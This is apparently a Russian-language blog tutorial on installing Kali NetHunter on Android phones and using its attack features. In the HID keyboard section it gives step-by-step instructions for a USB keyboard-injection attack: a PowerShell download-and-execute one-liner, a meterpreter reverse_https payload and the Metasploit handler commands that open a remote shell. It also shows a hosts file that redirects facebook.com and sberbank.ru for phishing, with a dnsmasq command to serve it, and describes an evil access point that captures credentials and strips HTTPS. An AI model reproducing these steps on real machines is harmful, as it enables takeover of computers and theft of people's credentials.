Как установить Kali NetHunter на android

ARM-сборки BackTrack 5 и Kali Linux можно было запустить в среде Android давно. Некоторые инструменты в них не работали, другие работали медленно, но в целом дистрибутив шевелился, и можно было носить в кармане несколько сотен утилит для пентестинга. BinkyBear из комьюнити Kali решил, что этого мало, и создал Kali NetHunter — вариант дистрибутива, оптимизированный для Android.

Kali-nethunter

ТОТ САМЫЙ KALI LINUX
По своей сути NetHunter — это почти не измененный Kali Linux, устанавливаемый «поверх» Android и работающий внутри chroot-окружения. Он включает в себя все тот же набор из огромного количества хорошо известных нам инструментов пентестинга, а также графическую среду XFCE, достучаться до которой можно как с самого смартфона, так и с ноута/компа/планшета с помощью любого VNC-клиента.

Отличие NetHunter от «просто установки Kali Linux в chroot» в нескольких нюансах. Во-первых, здесь есть графическое приложение для управления некоторыми возможностями дистрибутива, вроде запуска тех или иных сервисов или включения точки доступа MANA. Во-вторых, он включает в себянебольшой набор Android-софта, который будет полезен при выполнении атак или работе с дистрибутивом: Hacker’s Keyboard, Android VNC, DriveDroid и другие. В-третьих, для каждого поддерживаемого устройства в NetHunter есть собственное кастомное ядро, собранное с поддержкой загрузки эмуляции USB-клавиатуры или сетевого адаптера и механизмов внедрения фреймов в сетевой поток (Wireless 802.11 frame injection). Эти функции используются для проведения атак типа BadUSB, Teensy, а также для внедрения в передаваемые по сети файлы разного рода бэкдоров (с использованием точки доступа MANA и инструмента Backdoor Factory — goo.gl/TDtU9A).

В остальном же все довольно стандартно, и тот, кто знаком с Kali (я не говорю о юзерах графической оболочки), найдет здесь знакомое окружение и набор инструментов: Aircrack, Maltego, Metasploit, SAINT, Kismet, Bluebugger, BTCrack, Btscanner, Nmap, p0f и многие, многие другие.

Kali-nethunter-multiROM

СТАВИМ И ЕДЕМ
На момент написания этих строк последней публичной версией NetHunter была 1.1.0, а  официальная поддержка существовала всего для шести (или восьми, как посмотреть) моделей
устройств:

• Nexus 4 (GSM);
• Nexus 5 (GSM/LTE);
• Nexus 7 [2012] (Wi-Fi);
• Nexus 7 [2012] (Mobile);
• Nexus 7 [2013] (Wi-Fi);
• Nexus 7 [2013] (Mobile);
• Nexus 10;
• OnePlus One 16 GB;
• OnePlus One 64 GB.

Второе требование — это версия Android 4.4.4; без добавления «как минимум», да еще и с полученным root, кастомной консолью восстановления (TWRP или CWM, без разницы) и не меньше 4,5 Гб свободного пространства. А чтобы получить возможность снифинга трафика и инъекции фреймов, нужна еще и внешняя USB-шная Wi-Fi-сетевуха, причем не какая попало, а той модели, поддержка которой реализована в ядре (см. совместимые адаптеры), а также OTG-кабель для подключения.

[ad name=»Responbl»]

Когда все эти требования будут выполнены — ты готов. Теперь иди на страницу загрузки (goo.gl/aorLZz), ищи свой девайс и скачивай ZIP-файл (там есть также Windows инсталлятор, но его я описывать не буду по религиозным соображениям). Теперь скидывай ZIP на карту памяти, перезагружай смартфон в режим recovery и прошивай прямо поверх текущей прошивки без всяких вайпов (как это делается, мы рассказывали уже много раз). Процесс будет длиться долго, так как 2,4-гигабайтное chroot-окружение Kali Linux запаковано с помощью весьма жадного до процессора и памяти архиватора bzip2. После завершения операции можно перезагрузиться.

ЧТО ВНУТРИ?
Итак, вновь загрузился Android, и теперь у нас есть:
• NetHunter Home — приложение-обвязка для запуска самыхнеобходимых функций Kali NetHunter.
• Дистрибутив Kali Linux в каталоге /data/local/kali-armhf/ (все операции запускаются в нем).
• BusyBox и консольный редактор Nano.
• Android VNC — простой VNC-клиент для доступа к рабочему столу Kali Linux.
• BlueNMEA — приложение для отсылки текущих координат на другое устройство по Bluetooth или TCP (нужен для работы Kismet).
• DriveDroid — приложение, позволяющее использовать смартфон в качестве Live USB.
• Hacker’s Keyboard — всем известная полноразмерная Android-клавиатура.
• RF Analyzer — приложение для работы с HackRF/RTL-SDR.
• USB Keyboard — эмулятор USB-клавиатуры.
• Набор конфигурационных файлов и обоев на карте памяти (в каталогах files и kali-nh).

Совместимые адаптеры:

• TP-Link TL-WN321G
• TP-Link TL-WN722N
• TP-Link TL-WN821N
• TP-Link TL-WN822N
• Alfa AWUS036H
• Alfa AWUS036NH
• Ubiquiti Networks SR71-USB
• SMC SMCWUSB-N2
• Netgear WNA1000

Центральное место здесь занимают, конечно же, NetHunter Home и сам дистрибутив, причем первый — это просто обвязка для запуска тех или иных действий внутри дистрибутива через скрипт /system/bin/bootkali. NetHunter Home запускает его с тем или иным аргументом (например, start apache), а тот, в свою очередь, делает chroot в /data/local/kali-armhf/ и выполняет ряд команд в зависимости от переданного аргумента.

Kali-nethunter-android

NETHUNTER HOME
Итак, NetHunter Home — главный «пульт управления» Kali NetHunter. Он разделен на восемь независимых вкладок.
Первая — это просто экран приветствия, на котором отображается инфа о NetHunter, а также IP-шники сетевых интерфейсов и внешний IP роутера, если девайс подключен к Wi-Fi.
На второй вкладке здесь так называемый Kali Launcher, который позволяет открыть консоль Kali в chroot (просто выполняет команду bootkali), запустить текстовое меню (bootkali kalimenu), о котором мы поговорим позже, обновить Kali chroot (bootkali update) или запустить инструмент wifite (goo.gl/aW82v2) для взлома сетей Wi-Fi (WEP, WPS, перехват WPA handshake); он требует внешний Wi-Fi-адаптер.
На третьей вкладке панель управления сетевыми сервисами: SSH, Dnsmasq, Hostapd (точка доступа), OpenVPN, Apache, сервер Metasploit и веб-интерфейс BeEF Framework (beefproject.com).
Kali-nethunter-home
HID Keyboard Attack
Четвертая вкладка позволяет запустить атаку HID Keyboard Attack. Ее суть очень проста: подключенный к компу через OTG кабель смартфон/планшет прикидывается USB-клавиатурой
и «нажимает» любые кнопки, какие мы захотим. По умолчанию NetHunter предлагает нам два варианта ее использования.

Первый — наша виртуальная клавиатура открывает командную строку и вбивает указанные нами команды. Для этого переходим на второй экран (Windows CMD), вбиваем в поле ввода любые команды и нажимаем кнопку Update. Подключаем девайс к компу, открываем меню и нажимаем Execute Attack. Наблюдаем за тем, что происходит в винде.

Второй способ более изощренный и сложный в настройке. Он носит имя PowerSploit Attack и позволяет быстро получить сетевой доступ к командной строке Windows с телефона (вся операция занимает несколько секунд). Работает это так: смартфон подключается к компу, открывает командную строку и запускает в ней PowerShell со следующей командой (во время самой атаки она будет закодирована в Base64):

iex (New-Object Net.WebClient).DownloadString("http://192.168.1.1/payload")

 Эта команда запускает скрипт, размещенный по адресу http://192.168.1.1/payload. IP — это наш смартфон с запущенным Apache, а payload — PowerShell-эксплойт, вся работа которого заключается в том, чтобы загрузить с сервера Metasploit (он тоже запущен на нашем смартфоне) наш шелл-код, реализующий обратный HTTPS-шелл, и внедрить его в текущий процесс PowerShell:

Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -Lport 4444 -Force

 В результате мы получим доступ к командному интерпретатору Windows по HTTPS. Реализовать такую атаку с помощью одного лишь тыканья по кнопочкам интерфейса не удастся, поэтому придется повозиться с командной строкой Kali. Для начала переходим на вкладку HID Keyboard Attack, в поле IP Address вписываем свой айпишник (напомню, он есть на главной странице NetHunter Home), в поле Port оставляем 4444, Payload оставляем как есть, в поле URL to payload меняем IP на свой. Нажимаем Update.
Теперь идем в Kali Service Control и включаем Apache. Далее нам необходимо запустить сервер Metasploit. Идем в Kali Launcher и запускаем Shell. В нем открываем консоль Metasploit:

# msfconsole -q

И настраиваем хендлер для отдачи нашего шелл-кода:

> use exploit/multi/handler
> set PAYLOAD windows/meterpreter/reverse_https
> set LHOST 192.168.1.1
> set LPORT 4444
> exploit

Естественно, вместо 192.168.1.1 используем IP смартфона. На этом конфигурация завершена, и мы готовы к атаке. Сворачиваем (не закрываем!) окно терминала с Kali, возвращаемся в NetHunter Home, подключаем смартфон OTG-кабелем к компу, ждем пару секунд и нажимаем Execute Attack на вкладке HID Keyboard Attack. Возвращаемся в терминал Kali и наблюдаем. Если все прошло гладко, в терминал вывалится строчка

[*] Meterpreter session 1 opened.

После этого можно отключиться от компа и получить сетевой доступ к его командной строке с помощью команды shell. Это все.

Что делает скрипт BOOTKALI?
1. Отключает SELinux (точнее, переводит в режим permissive).
2. Проверяет наличие root c помощью запуска команды id.
3. Инициализирует необходимые переменные окружения (PATH, TERM,HOME и другие).
4. Прописывает в /data/local/kali-armhf/etc/resolv.conf адреса DNS-серверов, взятые из системных переменных Android (net.dns1, net.dns2 и так далее).
5. Монтирует в /data/local/kali-armhf/ необходимые для работы Linux файловые системы (dev, proc, sysfs, devpts).
6. Включает форвардинг пакетов для работы точки доступа и BadUSB (sysctl -w net.ipv4.ip_forward=1).
7. Если скрипт запущен без аргументов, он выполняет chroot в каталог /data/local/kali-armhf/ и запускает bash.
8. Если указан аргумент, выполняет chroot и запускает либо соответствующий сервис (Apache, например), либо процесс обновления (аргумент update), либо фирменное консольное меню NetHunter (kalimenu).

BadUSB MITM Attack
Это пятая вкладка Kali NetHunter. Здесь находится интерфейс включения местной реализации нашумевшей атаки BadUSB. Принцип этой атаки довольно прост и сводится к тому, что после подключения к компу USB-девайс (в данном случае смартфон) переконфигурирует собственный USB-контроллер с целью прикинуться другим устройством и выполнять несвойственные ему функции. В описанном выше типе атаки смартфон притворялся клавиатурой, в реализации атаки BadUSB, продемонстрированной на Black Hat 2014, он становится
внешней сетевой картой.
Kali-nethunter-hid-keyboard-atack
Точно так же работает и аналогичная функция NetHunter. Ты просто подключаешь смартфон к компу, запускаешь NetHunter Home, затем включаешь BadUSB, и комп автоматически начинает использовать твой девайс для выхода в интернет, вне зависимости от того, работает он на базе Windows или Linux (но только в том случае, если дистрибутив использует один из автоматических конфигураторов сетевой карты, например NetworkManager). Ключевая идея этой атаки в том, что трафик можно поснифать с помощью Wireshark или стандартного tcpdump, запустив его из консоли Kali и указав в качестве сетевого интерфейса rndis0:

# tcpdump -i rndis0

 Или даже выполнить фишингатаку, создав на карте памяти файл hosts с IP-адресами подложных
серверов:

123.123.123.123 facebook.com
234.234.234.234 sberbank.ru

 И перезапустить dnsmasq из консоли Kali, подсунув наш файл
hosts:

# dnsmasq -H /sdcard/hosts -i rndis0 -R -S 8.8.8.8
-F 192.168.100.100,192.168.100.200 -x /var/run/dnsmasq.pid

 MANA Evil Access Point
Шестая вкладка, и здесь у нас интерфейс запуска программной точки доступа MANA (goo.gl/5lRDEp), разработанной в компании SensePost (sensepost.com). Это модифицированный hostapd и набор скриптов, которые позволяют перехватывать (и брутфорсить) хеши паролей от точки доступа с аутентификацией IEEE 802.1X (сервер RADIUS, корпоративщина), выполнять HTTPS Stripping (автоматическая подмена HTTPS ссылок на HTTP) и SSL Split (перехват и логирование SSL/TLS-соединений). Несмотря на обилие экранов с файлами настройки во вкладке, все это хозяйство вполне себе работает из коробки и сыплет логи в /var/lib/mana-toolkit/ внутри Kali chroot. А оттуда их можно скопировать на SD-карту:

# cp -R /var/lib/mana-toolkit/ /sdcard/

 В NetHunter доступны пять стандартных конфигураций MANA, выбор между которыми можно сделать во время запуска точки доступа:
• mana-nat-full — NAT во внешний мир (через сотовую сеть), плюс перехват кукисов, плюс HTTPS Stripping и SSL Split;
• mana-nat-simple — просто NAT, можно юзать для снифинга трафика;
• mana-nat-simple-bdf — NAT плюс редирект HTTP-трафика на порт 8080, на котором можно запустить BDFProxy для внедрения кода (бэкдора) в передаваемые файлы (эта тема выходит за рамки данной статьи);
• mana-noupstream — точка доступа без выхода в интернет с перенаправлением трафика в Metasploit с преднастроенными фиктивными SMB, SMTP, HTTP и другими сервисами (перехват логинов и паролей);
• mana-noupstream-eap — то же самое, но с перехватом и брутфорсингом EAP-хешей.

В любой из этих конфигураций точка доступа может быть использована для атаки типа KARMA (поле Enable Karma на первом экране MANA Evil Access Point). В этом случае она будет менять свой SSID на тот, что пытается найти сам клиент (клиент выполняет Probe Request, содержащий имена
«сохраненных/доверенных сетей», его перехватывает MANA и оперативно меняет свое имя, индивидуально для каждого клиента). При отключении данной функции точка доступа будет иметь имя, указанное в поле SSID.

КОНСОЛЬ, ТЕКСТОВОЕ МЕНЮ И VNC
Как я уже сказал, для работы с NetHunter совсем не обязательно использовать графическое Android-приложение. К нашим услугам есть скрипт bootkali, а также набор скриптов в /system/xbin/, с помощью которых можно запускать сервисы и атаки. Например, ту же точку доступа MANA можно запустить, открыв терминал Android и запустив скрипт start-manafull:

$ su
# start-mana-full

 Также доступны start-apache, start-badusb, start-ssh и другие, все их можно увидеть, выполнив в терминале такуюкоманду:

$ ls /system/xbin/start-*

 У большинства скриптов есть и компаньон в виде скрипта stop-*, например stop-apache. Также мы можем выполнить chroot в окружении Kali для запуска экзотических видов атак и инструментов. Для этого просто набираем bootkali в терминале, а далее запускаем любые необходимые инструменты,например kismet:

$ bootkali
# kismet

 Чтобы не мучиться с поиском необходимых инструментов и не вспоминать правильные команды их запуска и аргументы, можно использовать команду kalimenu внутри Kali chroot. Она выведет на экран разбитое на разделы меню, через которое можно запустить нужный инструмент, выполнить некоторые настройки и запустить VNC-сервер для доступа к графическому интерфейсу Kali с компа или через Android VNC. Всего тут одиннадцать пунктов, с помощью которых можно  запустить знакомые нам airdump-ng, wifite (раздел Wireless Attack), tcpdump, tshark  (Sniffing/Spoofing), AutoSSH, pTunnel (ReversShells), Metasploit, Beef-XSS (Exploit Tools) и многие другие.

Kali-nethunter-intercepter
Особо отмечу меню USB Attacks, содержащее забавный инструмент deADBolt (goo.gl/10gWiD). Это своего рода взломщик Android-девайсов, позволяющий подключить другой смартфон с помощью OTG-кабеля и снять с него блокировку, утащить данные приложений, настройки аккаунтов, фотографии или все содержимое SD-карты целиком. Недостаток инструмента только в том, что для работы он использует протокол ADB, а это значит, что на смартфоне жертвы атаки должен быть активирован режим разработчика, включена «Отладка по USB», дано согласие на отладку с нашего смартфона (появляется при подключении и только после разблокировки экрана). Для выполнения всех операций, кроме получения содержимого карты памяти и фото, смартфон жертвы должен иметь root. В общем, игрушка и не более того.

Ну и напоследок — как включить доступ по VNC. Запускаем kalimenu, набираем 13 (это пункт Services), далее 3 (Start VNC Server), скрипт попросит два раза вбить пароль для доступа и выбрать, куда ему вешаться — только на localhost (для доступа с устройства) или на внешний интерфейс (для доступа с компа или других девайсов). Далее берем любой VNC-клиент и подключаемся к смартфону (IP, как я уже говорил, есть на первой вкладке NetHunter Home). На экране появится
окружение рабочего стола XFCE.

ВЫВОДЫ
NetHunter — интересный, но пока еще сильно недоработанный проект. Организация дистрибутива очень нелогична, графическое Android-приложение позволяет запустить ограниченный набор инструментов, часть из которых приходится комбинировать с консольными командами. Документация скудная и поверхностная, поддержка устройств минимальная. Однако проект более чем перспективный, и, судя по анонсам разработчиков, это только начало длинного пути.

Click to rate this post!
[Total: 23 Average: 2.6]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

8 comments On Как установить Kali NetHunter на android

Leave a reply:

Your email address will not be published.